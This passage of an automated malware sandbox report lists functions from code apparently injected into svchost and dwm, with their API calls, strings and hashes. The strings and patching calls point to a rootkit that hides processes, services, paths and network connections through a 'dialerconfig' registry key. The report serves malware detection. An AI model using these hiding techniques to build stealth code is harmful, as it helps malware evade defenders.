Instruction Fuzzy Hash: D5118BB6A00AD0C7E714DFA2A80D25977B8F78AF85F084035EA4A23726DF7CC058C741

Function 000002A661312980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 000002A661312A9C
GetLastError.KERNEL32 ref: 000002A661312B27

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: f98e1d8c780189fb48322b240abb3135e65948d30303f15e17900ffbada13fd6
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 85918E72B1065486FB609F75994E3AD3BA8B747F98F284109DE0B77694DF38C48AC702

Function 000002A661307960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 000002A66130798C
GetCurrentThreadId.KERNEL32 ref: 000002A66130799A
GetCurrentProcessId.KERNEL32 ref: 000002A6613079A6
QueryPerformanceCounter.KERNEL32 ref: 000002A6613079B6

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: 1cc862d301829f27dd78957ba1fd8c5096fa0c01cbaac4e6f591e442f6dc95cb
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: 14111F32B10F418AEB409B60E8593A833B8F719B58F480D21DA6E57794DF7CC1988381

Function 000002A66130253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A661302620
StrCpyW.SHLWAPI ref: 000002A661302639

Strings

\\.\pipe\, xrefs: 000002A66130262B

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: a77167060b87a4fc452a4d9a47af32d2e27e7869f2a7b79b94de1e5e43e7598e
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 3571A436B0078147EA25DE35994C3AA67E8F386F95F580016DD0B63B89DF39C54DC782

Function 000002A6612D9E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 000002A6612D9EB7

Strings

MOC, xrefs: 000002A6612D9E7C
RCC, xrefs: 000002A6612D9E85

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 4c1e01fd7d14f6ffb4a4eaa44a0f6dfd295677d667dd27de79d18e1f6fb3ebd9
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: 21614832F00B848AEB20DF65D48879D77A8FB45B88F084216EF4917B99DF38D199C701

Function 000002A661302330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 000002A661302416
StrCpyW.SHLWAPI ref: 000002A66130242D

Strings

\\.\pipe\, xrefs: 000002A661302421

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: 8b65ca84562374e5dcff84955426101dcfa6df48021d4bc966f847153521bb2b
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 03519232B0478183E664DA39A65C3AAA6E9F386F41F4A0125DD5B33B59DF3DC50C87C2

Function 000002A6613126F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000002A661312807
GetLastError.KERNEL32 ref: 000002A661312829

Strings

U, xrefs: 000002A6613127B3

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 435cc8df130a4e77d3710c788b2ddf4808abbc3271533ea666418ec5651f9c6f
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: E941E672B14A8087DB20DF25E94D3AA77A4F38AB94F584021EE4E97784DF7CC405C741

Function 000002A6613094A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 000002A6613094F0
RaiseException.KERNEL32 ref: 000002A661309531

Strings

csm, xrefs: 000002A66130951E

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: b3e6afc7812eff5d23d9e2531ddbd3c8dde3b3595130f4102b15f64d21df9287
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 5A115832604B8082EB218F15E448359B7E8FB89F94F1D4220EE8E17B68DF3CC555CB40

Function 000002A6612D7356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A6612D737C

Strings

ierarchy Descriptor', xrefs: 000002A6612D7381
riptor at (, xrefs: 000002A6612D7364

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 0f3f6b22aa811685f5e546128debed61f89d1e56892167602ce41c22e1950124
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: FDE04F65B50B8591DB028F62E8482D833A89B5AB64B489122D95C07311EB3CD2EDC301

Function 000002A6612D73B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 000002A6612D73D8

Strings

Locator', xrefs: 000002A6612D73DD
riptor at (, xrefs: 000002A6612D73C0

Memory Dump Source

Source File: 0000001D.00000002.3143881196.000002A6612D0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A6612D0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a6612d0000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 93a3ced56bc647de6299b8a1905d2a6032edb69f7bc4320d41604ef82ca62c1f
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: AEE08666F10B4481DF028F71E4441D87368EB5AF54B8C9122C95C07311EF3CD2E9C301

Function 000002A661301BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A661301C2D
HeapAlloc.KERNEL32 ref: 000002A661301C3B
GetProcessHeap.KERNEL32 ref: 000002A661301C77
HeapFree.KERNEL32 ref: 000002A661301C85

Part of subcall function 000002A66130152C: StrCmpIW.SHLWAPI ref: 000002A66130155D

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 72cf71b4c8bcd0622c645fc165e77207b5f5e2b8a8cfb2fde8c47a753de635a3
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: FC115B75B01B8482EA04DB66A80D22A73E9EB8AFC5F1C4028DE4E67765DFBCC446C341

Function 000002A661301268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002A66130126E
HeapAlloc.KERNEL32 ref: 000002A66130127D
GetProcessHeap.KERNEL32 ref: 000002A661301297
HeapAlloc.KERNEL32 ref: 000002A6613012A8

Memory Dump Source

Source File: 0000001D.00000002.3144342453.000002A661300000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002A661300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_29_2_2a661300000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: b5369b631e5731d7a483f2840394a7dd6d44661382897b8f9f01a4c4ceb7f075
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 18E065B5B01A4487EB088FA2D80D34A36E5FB8AF06F09C024CD0A07361DFFD8499CB91

Analysis Process: dwm.exePID: 988, Parent PID: 6952COMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	95.3%
Signature Coverage:	0%
Total number of Nodes:	127
Total number of Limit Nodes:	16

Executed Functions

Function 000002BAAEDF1628 Relevance: 50.9, APIs: 20, Strings: 9, Instructions: 157
registrymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDF1633
HeapAlloc.KERNEL32 ref: 000002BAAEDF1642

Part of subcall function 000002BAAEDF1268: GetProcessHeap.KERNEL32 ref: 000002BAAEDF126E
Part of subcall function 000002BAAEDF1268: HeapAlloc.KERNEL32 ref: 000002BAAEDF127D
Part of subcall function 000002BAAEDF1268: GetProcessHeap.KERNEL32 ref: 000002BAAEDF1297
Part of subcall function 000002BAAEDF1268: HeapAlloc.KERNEL32 ref: 000002BAAEDF12A8

RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF16B2
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF16DF
RegCloseKey.ADVAPI32 ref: 000002BAAEDF16F9
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1719
RegCloseKey.ADVAPI32 ref: 000002BAAEDF1734
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1754
RegCloseKey.ADVAPI32 ref: 000002BAAEDF176F
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF178F
RegCloseKey.ADVAPI32 ref: 000002BAAEDF17AA
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF17CA
RegCloseKey.ADVAPI32 ref: 000002BAAEDF17E5
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1805
RegCloseKey.ADVAPI32 ref: 000002BAAEDF1820
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1840
RegCloseKey.ADVAPI32 ref: 000002BAAEDF185B
RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF187B
RegCloseKey.ADVAPI32 ref: 000002BAAEDF1896
RegCloseKey.ADVAPI32 ref: 000002BAAEDF18A0

Part of subcall function 000002BAAEDF12BC: RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDF1319
Part of subcall function 000002BAAEDF12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDF1327
Part of subcall function 000002BAAEDF12BC: HeapAlloc.KERNEL32 ref: 000002BAAEDF1338
Part of subcall function 000002BAAEDF12BC: RegEnumValueW.ADVAPI32 ref: 000002BAAEDF1397
Part of subcall function 000002BAAEDF12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDF13DF
Part of subcall function 000002BAAEDF12BC: HeapAlloc.KERNEL32 ref: 000002BAAEDF13ED
Part of subcall function 000002BAAEDF12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDF140A
Part of subcall function 000002BAAEDF12BC: HeapFree.KERNEL32 ref: 000002BAAEDF1418
Part of subcall function 000002BAAEDF12BC: lstrlenW.KERNEL32 ref: 000002BAAEDF1421
Part of subcall function 000002BAAEDF12BC: GetProcessHeap.KERNEL32 ref: 000002BAAEDF142F
Part of subcall function 000002BAAEDF12BC: HeapAlloc.KERNEL32 ref: 000002BAAEDF143D

Strings

udp, xrefs: 000002BAAEDF1874
process_names, xrefs: 000002BAAEDF174D
startup, xrefs: 000002BAAEDF16D5
service_names, xrefs: 000002BAAEDF17C3
pid, xrefs: 000002BAAEDF1712
SOFTWARE\dialerconfig, xrefs: 000002BAAEDF1692
tcp_local, xrefs: 000002BAAEDF17FE
tcp_remote, xrefs: 000002BAAEDF1839
paths, xrefs: 000002BAAEDF1788

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Heap$CloseOpen$Process$Alloc$EnumFreeInfoQueryValuelstrlen
String ID: SOFTWARE\dialerconfig$paths$pid$process_names$service_names$startup$tcp_local$tcp_remote$udp
API String ID: 106492572-2879589442
Opcode ID: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction ID: cc604fdf19191dbabe7159fc9bdb1041bbded78c0f78efac77444c2b15d6f476
Opcode Fuzzy Hash: 29d8c56dd48d9a3b38e8b79419d4f3e68f34e96909367841420a970a2341c6d0
Instruction Fuzzy Hash: 1D712826350B11D6EB60DF66E88879933B5FB88B88F101125DE8E87F2ADF38C544C761

Function 000002BAAEDF3790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32 ref: 000002BAAEDF379E
GetCurrentProcess.KERNEL32 ref: 000002BAAEDF37CC
VirtualProtectEx.KERNEL32 ref: 000002BAAEDF37EE
GetCurrentProcess.KERNEL32 ref: 000002BAAEDF3809
VirtualProtectEx.KERNEL32 ref: 000002BAAEDF382A

Strings

wr, xrefs: 000002BAAEDF37FF

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: ffce113c4f51f2fcc8a35aca12e5c75aecb4ee8a21be27ed17485a1f1fe12a63
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 78112726704B4192EF689B21E40836973B4FB88B85F654029DE8D07B98EF3DC645C725

Function 000002BAAEDF5B30 Relevance: 9.2, APIs: 6, Instructions: 240
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDF5B6B
GetThreadContext.KERNEL32 ref: 000002BAAEDF5CD5

Part of subcall function 000002BAAEDF5960: GetCurrentThreadId.KERNEL32 ref: 000002BAAEDF5964

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction ID: 392e463944371945da43ea719fc9880e6036c71f4b1d6409742f5ca2829370fa
Opcode Fuzzy Hash: aba7c51250b0bd2785b454d2868164715ffdc60c22b63475f1bba81942d6465a
Instruction Fuzzy Hash: 83D1BD36219B8886DB70DB0AE49835A7BB0F7C8B84F204616EACD47BA5DF3DC541CB51

Function 000002BAAEDF50D0 Relevance: 7.8, APIs: 5, Instructions: 318
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDF5156

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction ID: 29d0c8c4cc931ee5d2ea1b84e55410bc3ffa75d85f6dc27cb7d6306d52025f18
Opcode Fuzzy Hash: a9eeae0eee8a65d3360f20c0190c6c2044be682fe56af66e10426f66e33a6bd7
Instruction Fuzzy Hash: 5D02D932219B8486EB60DB59F59435ABBB1F3C4794F204515EACE87BA8DF7CC884CB11

Function 000002BAAEDF39E0 Relevance: 4.6, APIs: 3, Instructions: 64
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualQuery.KERNEL32 ref: 000002BAAEDF3A66
VirtualAlloc.KERNEL32 ref: 000002BAAEDF3AA0

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Virtual$AllocQuery
String ID:
API String ID: 31662377-0
Opcode ID: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction ID: f8a67aedf62b22c6bdb465cfe66f1f0cb3fdfa8cf39a8d96e9152993a44561f3
Opcode Fuzzy Hash: ad31f8c641c3994e4c662b42b06090e17ab0b09933d29211a4965d6dca603ca4
Instruction Fuzzy Hash: CC31F122219B8481EA74DB26E05935E77B4F7887C4F210525F5CE46BA8DF7DC680CB26

Function 000002BAAEDF328C Relevance: 4.5, APIs: 3, Instructions: 43
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32 ref: 000002BAAEDF32AE
PathFindFileNameW.SHLWAPI ref: 000002BAAEDF32BD

Part of subcall function 000002BAAEDF3844: StrCmpNIW.SHLWAPI ref: 000002BAAEDF385C

Part of subcall function 000002BAAEDF3790: GetModuleHandleW.KERNEL32 ref: 000002BAAEDF379E
Part of subcall function 000002BAAEDF3790: GetCurrentProcess.KERNEL32 ref: 000002BAAEDF37CC
Part of subcall function 000002BAAEDF3790: VirtualProtectEx.KERNEL32 ref: 000002BAAEDF37EE
Part of subcall function 000002BAAEDF3790: GetCurrentProcess.KERNEL32 ref: 000002BAAEDF3809
Part of subcall function 000002BAAEDF3790: VirtualProtectEx.KERNEL32 ref: 000002BAAEDF382A

CreateThread.KERNEL32 ref: 000002BAAEDF330B

Part of subcall function 000002BAAEDF1D14: GetCurrentThread.KERNEL32 ref: 000002BAAEDF1D1F

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: Current$FileModuleNameProcessProtectThreadVirtual$CreateFindHandlePath
String ID:
API String ID: 1683269324-0
Opcode ID: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction ID: a60ade9394fe4c35ab755e97a5dfbc478c905fbaa392ae86923eb6e0e9d87758
Opcode Fuzzy Hash: c94412c55dcd243bcd3fbe265bea19663896af10ab27123b85acb7154d5eea14
Instruction Fuzzy Hash: 4D116D30A10741A2FB78EB21F80D35933F4AB58B45F714128D9CE85995EF7CC184C232

Function 000002BAAEDF4DF0 Relevance: 4.5, APIs: 3, Instructions: 23
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 000002BAAEDF4DF4
VirtualProtect.KERNEL32 ref: 000002BAAEDF4E37
FlushInstructionCache.KERNEL32 ref: 000002BAAEDF4E4C

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CacheCurrentFlushInstructionProcessProtectVirtual
String ID:
API String ID: 3733156554-0
Opcode ID: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction ID: 88b62564cefa99c5df0553c881ea4e992a6981c752067f8587c1bb73a495c4a1
Opcode Fuzzy Hash: efc513032ac2f8104d68ff6d1779eae6f51007478eb3e1ac0120cc0a77f626c8
Instruction Fuzzy Hash: 96F0B736228B4484D730DB05E45979ABBB0E388BD4F644116BACD47BA9CB3DC690CB61

Function 000002BAAEDC273C Relevance: 3.2, APIs: 2, Instructions: 187
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE ref: 000002BAAEDC27DB
LoadLibraryA.KERNELBASE ref: 000002BAAEDC285E

Memory Dump Source

Source File: 0000001E.00000002.3183027949.000002BAAEDC0000.00000040.00000400.00020000.00000000.sdmp, Offset: 000002BAAEDC0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedc0000_dwm.jbxd

Similarity

API ID: AllocLibraryLoadVirtual
String ID:
API String ID: 3550616410-0
Opcode ID: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction ID: 8272c5051e45bb1e08acf4cb034566de5e43c5be223a5e3606f7b74c943da425
Opcode Fuzzy Hash: 8c1c9448f3dd1088c887dafc1273d9eb4da1e6d2ce59199f574756fa2a1f07a1
Instruction Fuzzy Hash: 41610532B01A9087DB66CF29940472D73B2FB94BE4F688521DE9D07788DF38D852C722

Function 000002BAAEDF1ABC Relevance: 3.1, APIs: 2, Instructions: 68
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000002BAAEDF1628: GetProcessHeap.KERNEL32 ref: 000002BAAEDF1633
Part of subcall function 000002BAAEDF1628: HeapAlloc.KERNEL32 ref: 000002BAAEDF1642
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF16B2
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF16DF
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF16F9
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1719
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF1734
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1754
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF176F
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF178F
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF17AA
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF17CA

Sleep.KERNEL32 ref: 000002BAAEDF1AD7
SleepEx.KERNELBASE ref: 000002BAAEDF1ADD

Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF17E5
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1805
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF1820
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF1840
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF185B
Part of subcall function 000002BAAEDF1628: RegOpenKeyExW.ADVAPI32 ref: 000002BAAEDF187B
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF1896
Part of subcall function 000002BAAEDF1628: RegCloseKey.ADVAPI32 ref: 000002BAAEDF18A0

Memory Dump Source

Source File: 0000001E.00000002.3183087492.000002BAAEDF0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDF0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_30_2_2baaedf0000_dwm.jbxd

Similarity

API ID: CloseOpen$HeapSleep$AllocProcess
String ID:
API String ID: 1534210851-0
Opcode ID: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction ID: 030c3e66d5f789bef5497c226e0068f4c419c483030d182e68aceade9474b657
Opcode Fuzzy Hash: ad614115fa5d2181ccf7742c52f053f5bbac07b16a2f1961ccdf1ed8f9939afa
Instruction Fuzzy Hash: 7731ED61200B41D2FF50DB27DA493A933B4AB99BC4F6454299E8D8B7D7FF24C851C232

Non-executed Functions

Function 000002BAAEDF2B2C Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 264
stringlibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32 ref: 000002BAAEDF2BD0
lstrlenW.KERNEL32 ref: 000002BAAEDF2E0A

Part of subcall function 000002BAAEDF199C: OpenProcess.KERNEL32 ref: 000002BAAEDF19C2
Part of subcall function 000002BAAEDF199C: K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAEDF19E0
Part of subcall function 000002BAAEDF199C: PathFindFileNameW.SHLWAPI ref: 000002BAAEDF19EF
Part of subcall function 000002BAAEDF199C: lstrlenW.KERNEL32 ref: 000002BAAEDF19FB
Part of subcall function 000002BAAEDF199C: StrCpyW.SHLWAPI ref: 000002BAAEDF1A0E
Part of subcall function 000002BAAEDF199C: CloseHandle.KERNEL32 ref: 000002BAAEDF1A1C

GetProcAddress.KERNEL32 ref: 000002BAAEDF2BE5

Part of subcall function 000002BAAEDF152C: StrCmpIW.SHLWAPI ref: 000002BAAEDF155D

Part of subcall function 000002BAAEDF3844: StrCmpNIW.SHLWAPI ref: 000002BAAEDF385C

StrCmpNIW.SHLWAPI ref: 000002BAAEDF2C28
lstrlenW.KERNEL32 ref: 000002BAAEDF2D50

Strings

\Device\Nsi, xrefs: 000002BAAEDF2C1B
ntdll.dll, xrefs: 000002BAAEDF2BC9
